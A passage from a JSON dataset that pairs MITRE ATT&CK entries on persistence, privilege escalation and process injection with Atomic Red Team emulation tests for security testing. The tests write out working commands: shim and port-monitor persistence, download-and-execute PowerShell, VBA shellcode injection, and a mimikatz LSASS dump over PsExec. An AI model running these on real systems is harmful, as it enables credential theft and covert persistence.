"https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", - "description": "Pierce, Sean. (2015, November). Defending Against Malicious Application Compatibility Shims. Retrieved June 22, 2017.", - "source_name": "Black Hat 2015 App Shim" - } - ], - "modified": "2020-11-10T18:29:31.094Z", - "name": "Event Triggered Execution: Application Shimming", - "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017)\n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom and\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. (Citation: FireEye Application Shimming) Shims can also be abused to establish persistence by continuously being invoked by affected programs.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "File: File Modification", - "Module: Module Load", - "Windows Registry: Windows Registry Key Modification" - ], - "x_mitre_permissions_required": [ - "Administrator" - ], - "identifier": "T1546.011" - }, - "atomic_tests": [ - { - "name": "Application Shim Installation", - "auto_generated_guid": "9ab27e22-ee62-4211-962b-d36d9a0e6a18", - "description": "Install a shim database. This technique is used for privilege escalation and bypassing user access control.\nUpon execution, \"Installation of AtomicShim complete.\" will be displayed. To verify the shim behavior, run \nthe AtomicTest.exe from the \\\\T1546.011\\\\bin directory. You should see a message box appear\nwith \"Atomic Shim DLL Test!\" as defined in the AtomicTest.dll. To better understand what is happening, review\nthe source code files is the \\\\T1546.011\\\\src directory.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "file_path": { - "description": "Path to the shim database file", - "type": "string", - "default": "PathToAtomicsFolder\\T1546.011\\bin\\AtomicShimx86.sdb" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Shim database file must exist on disk at specified location (#{file_path})\n", - "prereq_command": "if (Test-Path #{file_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory (split-path #{file_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicShimx86.sdb\" -OutFile \"#{file_path}\"\n" - }, - { - "description": "AtomicTest.dll must exist at c:\\Tools\\AtomicTest.dll\n", - "prereq_command": "if (Test-Path c:\\Tools\\AtomicTest.dll) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path c:\\Tools\\AtomicTest.dll) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.011/bin/AtomicTest.dll\" -OutFile c:\\Tools\\AtomicTest.dll\n" - } - ], - "executor": { - "command": "sdbinst.exe #{file_path}\n", - "cleanup_command": "sdbinst.exe -u #{file_path} >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - }, - { - "name": "New shim database files created in the default shim database directory", - "auto_generated_guid": "aefd6866-d753-431f-a7a4-215ca7e3f13d", - "description": "Upon execution, check the \"C:\\Windows\\apppatch\\Custom\\\" folder for the new shim database\n\nhttps://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "Copy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb\nCopy-Item $PathToAtomicsFolder\\T1546.011\\bin\\T1546.011CompatDatabase.sdb C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb\n", - "cleanup_command": "Remove-Item C:\\Windows\\apppatch\\Custom\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\nRemove-Item C:\\Windows\\apppatch\\Custom\\Custom64\\T1546.011CompatDatabase.sdb -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "Registry key creation and/or modification events for SDB", - "auto_generated_guid": "9b6a06f9-ab5e-4e8d-8289-1df4289db02f", - "description": "Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing\nthe registry keys that were created. These keys can also be viewed using the Registry Editor.\n\nhttps://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "New-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"\nNew-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -Value \"AtomicRedTeamT1546.011\"\n", - "cleanup_command": "Remove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Custom\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\nRemove-ItemProperty -Path HKLM:\"\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\InstalledSDB\" -Name \"AtomicRedTeamT1546.011\" -ErrorAction Ignore\n", - "name": "powershell", - "elevation_required": true - } - } - ] - }, - "T1547.010": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", - "created": "2020-01-24T19:46:27.750Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.010", - "url": "https://attack.mitre.org/techniques/T1547/010" - }, - { - "source_name": "Bloxham", - "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", - "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014." - }, - { - "source_name": "AddMonitor", - "url": "http://msdn.microsoft.com/en-us/library/dd183341", - "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the AddMonitor API call to set a DLL to be loaded at startup.(Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", - "modified": "2022-04-20T16:36:31.835Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Autostart Execution: Port Monitors", - "x_mitre_detection": "Monitor process API calls to AddMonitor.(Citation: AddMonitor) Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal. New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious. \n\nMonitor Registry writes to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. Run the Autoruns utility, which checks for this Registry key as a persistence mechanism.(Citation: TechNet Autoruns)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "Windows Registry: Windows Registry Key Modification", - "Process: OS API Execution", - "Module: Module Load" - ], - "x_mitre_permissions_required": [ - "SYSTEM", - "Administrator" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547.010" - }, - "atomic_tests": [ - { - "name": "Add Port Monitor persistence in Registry", - "auto_generated_guid": "d34ef297-f178-4462-871e-9ce618d44e50", - "description": "Add key-value pair to a Windows Port Monitor registry. On the subsequent reboot DLL will be execute under spoolsv with NT AUTHORITY/SYSTEM privilege.", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "monitor_dll": { - "description": "Addition to port monitor registry key. Normally refers to a DLL name in C:\\Windows\\System32 but an arbitrary DLL can be specified with the absolute path.", - "type": "path", - "default": "$PathToAtomicsFolder\\T1547.010\\bin\\PortMonitor.dll" - } - }, - "executor": { - "command": "reg add \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /v \"Driver\" /d \"#{monitor_dll}\" /t REG_SZ\n", - "cleanup_command": "reg delete \"hklm\\system\\currentcontrolset\\control\\print\\monitors\\AtomicRedTeam\" /f >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1037.002": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0", - "created": "2020-01-10T16:01:15.995Z", - "x_mitre_version": "2.0", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1037.002", - "url": "https://attack.mitre.org/techniques/T1037/002" - }, - { - "source_name": "Login Scripts Apple Dev", - "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html", - "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022." - }, - { - "source_name": "LoginWindowScripts Apple Dev", - "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts", - "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022." - }, - { - "source_name": "Wardle Persistence Chapter", - "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf", - "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022." - }, - { - "source_name": "S1 macOs Persistence", - "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", - "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ", - "modified": "2022-04-20T16:42:05.094Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Initialization Scripts: Logon Script (Mac)", - "x_mitre_detection": "Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Creation", - "Process: Process Creation", - "File: File Modification", - "Command: Command Execution" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1037.002" - }, - "atomic_tests": [] - }, - "T1055": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Anastasios Pingios", - "Christiaan Beek, @ChristiaanBeek", - "Ryan Becwar" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "type": "attack-pattern", - "created": "2017-05-31T21:30:47.843Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055", - "url": "https://attack.mitre.org/techniques/T1055" - }, - { - "external_id": "CAPEC-640", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/640.html" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.", - "source_name": "ArtOfMemoryForensics" - }, - { - "url": "https://www.gnu.org/software/acct/", - "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.", - "source_name": "GNU Acct" - }, - { - "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing", - "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.", - "source_name": "RHEL auditd" - }, - { - "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html", - "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.", - "source_name": "Chokepoint preload rootkits" - }, - { - "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon", - "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.", - "source_name": "Microsoft Sysmon v6 May 2017" - } - ], - "modified": "2022-03-08T20:59:21.118Z", - "name": "Process Injection", - "description": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) \n\nMonitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process. \n\nMonitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nMonitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Modification", - "File: File Metadata", - "Process: Process Modification", - "Process: OS API Execution", - "Process: Process Access" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "identifier": "T1055" - }, - "atomic_tests": [ - { - "name": "Shellcode execution via VBA", - "auto_generated_guid": "1c91e740-1729-4329-b779-feba6e71d048", - "description": "This module injects shellcode into a newly created process and executes. By default the shellcode is created,\nwith Metasploit, for use on x86-64 Windows 10 machines.\n\nNote: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office\nis required.\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "txt_path": { - "description": "Path to file containing VBA macro to run", - "type": "path", - "default": "PathToAtomicsFolder\\T1055\\src\\x64\\T1055-macrocode.txt" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The 64-bit version of Microsoft Office must be installed\n", - "prereq_command": "try {\n $wdApp = New-Object -COMObject \"Word.Application\"\n $path = $wdApp.Path\n Stop-Process -Name \"winword\"\n if ($path.contains(\"(x86)\")) { exit 1 } else { exit 0 }\n} catch { exit 1 }\n", - "get_prereq_command": "Write-Host \"You will need to install Microsoft Word (64-bit) manually to meet this requirement\"\n" - }, - { - "description": "#{txt_path} must exist on disk at specified location\n", - "prereq_command": "if (Test-Path #{txt_path}) {exit 0} else {exit 1}\n", - "get_prereq_command": "New-Item -Type Directory (split-path #{txt_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt\" -OutFile \"#{txt_path}\"\n" - } - ], - "executor": { - "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"\n", - "name": "powershell" - } - }, - { - "name": "Remote Process Injection in LSASS via mimikatz", - "auto_generated_guid": "3203ad24-168e-4bec-be36-f79b13ef8a83", - "description": "Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).\nEspecially useful against domain controllers in Active Directory environments.\nIt must be executed in the context of a user who is privileged on remote `machine`.\n\nThe effect of `/inject` is explained in \n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "machine": { - "description": "machine to target (via psexec)", - "type": "string", - "default": "DC1" - }, - "mimikatz_path": { - "description": "Mimikatz windows executable", - "type": "path", - "default": "%tmp%\\mimikatz\\x64\\mimikatz.exe" - }, - "psexec_path": { - "description": "Path to PsExec", - "type": "string", - "default": "C:\\PSTools\\PsExec.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n", - "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" - }, - { - "description": "PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_path})\n", - "prereq_command": "if (Test-Path \"#{psexec_path}\") { exit 0} else { exit 1}\n", - "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nInvoke-WebRequest \"https://download.sysinternals.com/files/PSTools.zip\" -OutFile \"$env:TEMP\\PsTools.zip\"\nExpand-Archive $env:TEMP\\PsTools.zip $env:TEMP\\PsTools -Force\nNew-Item -ItemType Directory (Split-Path \"#{psexec_path}\") -Force | Out-Null\nCopy-Item $env:TEMP\\PsTools\\PsExec.exe \"#{psexec_path}\" -Force\n" - } - ], - "executor": { - "command": "#{psexec_path} /accepteula \\\\#{machine} -c #{mimikatz_path} \"lsadump::lsa /inject /id:500\" \"exit\"\n", - "name": "command_prompt", - "elevation_required": false - } - }, - { - "name": "Section View Injection", - "auto_generated_guid": "c6952f41-6cf0-450a-b352-2ca8dae7c178", - "description": "This test creates a section object in the local process followed by a local section view.\nThe shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. \nA thread is then created in the target process, using the remote section view as start address.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055\\bin\\x64\\InjectView.exe\n", - "cleanup_command": "Stop-Process $notepad.pid", - "name": "powershell" - } - } - ] - }, - "T1038": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", - "type": "attack-pattern", - "created": "2017-05-31T21:30:40.604Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "url": "https://attack.mitre.org/techniques/T1038", - "external_id": "T1038", - "source_name": "mitre-attack" - }, - { - "url": "https://capec.mitre.org/data/definitions/471.html", - "source_name": "capec", - "external_id": "CAPEC-471" - }, - { - "source_name": "Microsoft DLL Search", - "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", - "url": "http://msdn.microsoft.com/en-US/library/ms682586" - }, - { - "source_name": "OWASP Binary Planting", - "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", - "url": "https://www.owasp.org/index.php/Binary_planting" - }, - { - "source_name": "Microsoft 2269637", - "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.", - "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/" - }, - { - "source_name": "Microsoft DLL Redirection", - "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.", - "url": "http://msdn.microsoft.com/en-US/library/ms682600" - }, - { - "source_name": "Microsoft Manifests", - "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", - "url": "https://msdn.microsoft.com/en-US/library/aa375365" - }, - { - "source_name": "Mandiant Search Order", - "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.", - "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/" - } - ], - "modified": "2020-03-26T14:49:47.091Z", - "name": "DLL Search Order Hijacking", - "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "SYSTEM" - ], - "x_mitre_system_requirements": [ - "Ability to add a DLL, manifest file, or .local file, directory, or junction." - ], - "x_mitre_effective_permissions": [ - "User", - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1050": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Pedro Harrison" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", - "type": "attack-pattern", - "created": "2017-05-31T21:30:45.613Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1050", - "url": "https://attack.mitre.org/techniques/T1050" - }, - { - "external_id": "CAPEC-550", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/550.html" - }, - { - "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx", - "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", - "source_name": "TechNet Services" - }, - { - "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", - "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.", - "source_name": "Microsoft 4697 APR 2017" - }, - { - "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection", - "description": "Hardy, T. & Hall, J. (2018, 